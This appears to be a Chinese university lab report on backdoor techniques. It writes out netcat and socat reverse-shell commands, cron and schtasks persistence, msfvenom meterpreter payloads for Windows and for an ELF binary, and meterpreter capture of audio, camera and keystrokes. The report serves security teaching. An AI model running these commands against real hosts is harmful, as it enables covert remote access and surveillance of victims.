首页 > 其他分享 >20222419 2024-2025-1 《网络与系统攻防技术》实验二实验报告

20222419 2024-2025-1 《网络与系统攻防技术》实验二实验报告

时间:2024-10-19 13:43:01浏览次数:1  
标签:Shell 获取 Windows kali 2024 2025 任务 主机 20222419

1.实验内容

(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程

(2)使用socat获取主机操作Shell, 任务计划启动

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

2.实验过程

问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?
下载盗版软件。
(2)例举你知道的后门如何启动起来(win及linux)的方式?

  • Windows:
    注册表自启动;
    服务自启动:在Windows任务计划程序中创建一个任务,在系统启动或特定时间执行后门程序。
  • Linux:
    守护进程:在Linux系统中,攻击者可能会创建一个守护进程,使其在系统启动时自动运行。
    Linux的cron作业:通过cron作业在特定时间执行后门程序。

(3)Meterpreter有哪些给你印象深刻的功能?
能够获取音频、摄像头、键盘输入的内容,而且Windows并没有发出安全警报(可能因为关闭了防火墙的缘故)。
(4)如何发现自己有系统有没有被安装后门?
使用360安全卫士进行全盘扫描,检查是否被安装后门。

2.1 使用netcat获取主机操作Shell,cron启动某项任务

(1)获取IP

ipconfig

ifconfig

(2)Win获得Linux Shell

先在Windows下执行nc64 -l -p 2419,然后在kali中执行nc 192.168.96.238 2419 -e /bin/sh,输入ls弹出空白,然后输入pwd弹出当前路径。

(3)cron启动某项任务

在Windows中输入crontab -e,弹出乱码,并且kali中出现警告


在kali上寻找crontab的任务文件,在Windows下重新启用CMD
在kali下按照“var->spool->cron->crontabs”找到root文件,如下图:

在CMD下输入以下添加自己设置的任务(创建一个定时任务,该任务每分钟执行一次,执行的操作是将字符串 “Hello,World!” 追加到文件 /home/tomoyo/Downloads/20222419hxy.txt 中。这个定时任务被添加到tomoyo用户的cron任务列表中。)
echo "* * * * * echo 'Hello,World!' >> /home/tomoyo/Downloads/20222419hxy.txt" > /var/spool/cron/crontabs/tomoyo

2.2 使用socat获取主机操作Shell, 任务计划启动

(1)用socat连接Windows和kali

通过kali获得主机的操作shell,使用socat获取。
在kali虚拟机中开启监听socat - tcp:192.168.96.238:2419,在主机中在socat软件的目录下使用命令socat.exe tcp-listen:2419 exec:cmd.exe,pty,stderr,可以看到kali虚拟机获得了主机的shell

(2) 创建计划任务并启动

获取shell后就可以通过schtasks命令设置windows主机的任务计划程序,提前在windows主机中编写我们要计划启动的程序。
程序代码如下图(获取当前系统时间,并将这个时间以追加的形式写入到一个名为20222419.txt的文本文件中。):

在虚拟机中执行如下命令schtasks /create /sc minute /mo 1 /tn "hxytest" /tr C:\Users\21113\Desktop\20222419.exe

查看windows主机,可以看到执行的任务计划程序,由此成功完成目标。

2.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

(1) 在kali上生成后门文件传到Windowsmsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.32.128 LPORT=2419 -f exe > 20222419_backdoor.exe


在windows主机中开启监听并等待将接受的文件存储下来,在kali中使用nc传输刚刚生成的后门程序。

(2)运行后门程序,获取主机shell

在kali上修改监听模块配置,开启监听

Windows上运行程序后,kali成功获取shell

2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(1) 获取音频、摄像头等内容


(2) 提权

2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

(1) 使用msf的命令生成shellcode,注入pwn1中

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168. 32.128 LPORT=2419 -x /home/tomoyo/Downloads/pwn20222419 -f elf > 20222419_pwn2

给文件添加执行权限:chmod a+x 20222419_pwn2

msfconsole进入控制台,进行配置,并开启监听exploit。

3.问题及解决方案

  • 问题1:crontabs root不执行

  • 问题1解决方案:不再修改root文件,改为修改tomoyo文件。(后来运行一次root文件后,crontabs root也可以执行)

  • 问题2:Windows自动任务无法正常运行,错误代码0X41303

  • 问题2解决方案:将其赋予最高权限后,错误代码变为0X1;只有将起始于补充完整后才顺利运行。

  • 问题3:第五个实验报错Meterpreter session 5 is not valid and will be closed

  • 问题3解决方案:监听载荷设置不一致,参考https://blog.csdn.net/zhang35/article/details/105675341

4.学习感悟、思考等

  1. 本次实验需要注重一些细节,比如实验五的监听载荷为
    set payload linux/x86/meterpreter/reverse_tcp,不是set payload windows/meterpreter/reverse_tcp
  2. Windows安全防护对于实验有很大的影响,当安全防护打开的时候,后门程序根本无法传输到Windows上。
  3. Windows自动任务无法执行,需要额外补充起始于哪个位置。
  4. 通过实验具体感受到了网络攻击,看到了网络恶意攻击者的可怕,比如直接窃取你电脑的音频、摄像头等。

标签:Shell,获取,Windows,kali,2024,2025,任务,主机,20222419
From: https://www.cnblogs.com/Taki16888/p/18475798

相关文章

  • 2024.10.17~19 杂题
    杂题AcWing5728.截取子串一眼dp,令\(f[i]\)表示考虑到第\(i\)位的答案。由于要求方案数,要么加法原理,要么乘法原理。观察样例二,用乘法原理可以解释但是很难扩展到\(f\)上,所以考虑加法原理。对于样例二,每一个位置字母都一样,不难发现\(f[3]=f[1]+f[2]\)。考虑将其一般化......
  • [随笔]网鼎杯大赛2024真题及赛前培训CTF
    欢迎你来这里,真题题目真没有。赛前培训可以到这里:https://vip.ctf.show/?invite=18742【赛前模拟】10月19日当天前往https://c.wangdingcup.com/#/login可以参加模拟训练。不过这届举办方真有意思,还得10月18日前完成报名的才可以参加。【猜测】官方公众号是10月17日下午......
  • 2024.10.19 1152版
    起于《海奥华预言》的思考◆地球管理结构和参考持续更新中...... 英文地址:https://github.com/zhuyongzhe/Earth/tags中文地址:https://www.cnblogs.com/zhuyongzhe85作者:朱永哲 ---------------------------------------------------------------------------------......
  • AI绘画:2024最全面的ComfyUI插件与Lora的下载及使用!
    前言本节我们介绍ComfyUI插件和Lora的下载及使用方式。1.安装1.1Checkpoint安装将从前面介绍的模型下载平台下载后,放在ComfyUI/models/checkpoints文件夹下。1.2Lora安装在前面介绍的模型下载网站下载Lora模型,然后放在ComfyUI/models/loras文件夹下。所有的AI设......
  • 20222311 2024-2025-1 《网络与系统攻防技术》实验二实验报告
    一、实验内容1.实验目标(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程(2)使用socat获取主机操作Shell,任务计划启动(3)使用MSFmeterpreter(或其他软件)生成可执行文件(后门),利用ncat或soca......
  • 2024-2025-1 20241407《计算机基础与程序设计》第四周学习总结
    这个作业属于哪个课程2024-2025-1-计算机基础与程序设计这个作业要求在哪里2024-2025-1计算机基础与程序设计第四周作业这个作业的目标学习门电路,组合电路,逻辑电路,冯诺依曼结构,CPU,内存,IO管理,嵌入式系统,并行结构,物理安全作业正文https://www.cnblogs.com/wangyih......
  • 20222305 2024-2025-1 《网络与系统攻防技术》实验二实验报告
    网络攻防实验报告姓名:田青学号:20222305实验日期:2024/10/16—2024/10/23实验名称:后门原理与实践指导教师:王志强1.实验内容本周学习内容总结::后门概念:不经过正常认证流程而访问系统的通道。后门类型:编译器后门、操作系统后门、应用程序后门、潜伏于操作系统中或伪装为特......
  • 20241017 模拟赛
    看题戳这里总结时间分配:30min自习,30mint1,然后在t2,t3,t4中间反复横跳,最后一小时狂冲t3没出来,悲伤。后来听巨佬说t3很离谱,也不知道是不是真的。最终分数:0+50+0+0为什么第一题挂了?为什么第一题挂了?为什么第一题挂了?为什么第一题挂了?哦,原来是玩原神freopen注释了导致的。解析......
  • 顶会论文下载合集(ECCV 2024全)
    2024CV2024综述(持续更新中)链接:https://pan.baidu.com/s/16yglfB7YtkDDWFQPC3u9xQ提取码:52CVECCV2024论文全链接:https://pan.baidu.com/s/1YUVUqmIP3Y_DIxg4w1OYwg提取码:52CVCVPR2024论文全链接:https://pan.baidu.com/s/15-RZjmXoTxZtyS7NMxV4CQ提取......
  • 【2024最新版】Win10下 Java环境变量配置----适合入门小白
    首先,你应该已经安装了Java的JDK了(如果没有安装JDK,请跳转到此网址:http://www.oracle.com/technetwork/java/javase/downloads/index-jsp-138363.html)笔者安装的是jdk-8u91-windows-x64接下来主要讲怎么配置Java的环境变量,也是为了以后哪天自己忘记了做个备份(注:win10的......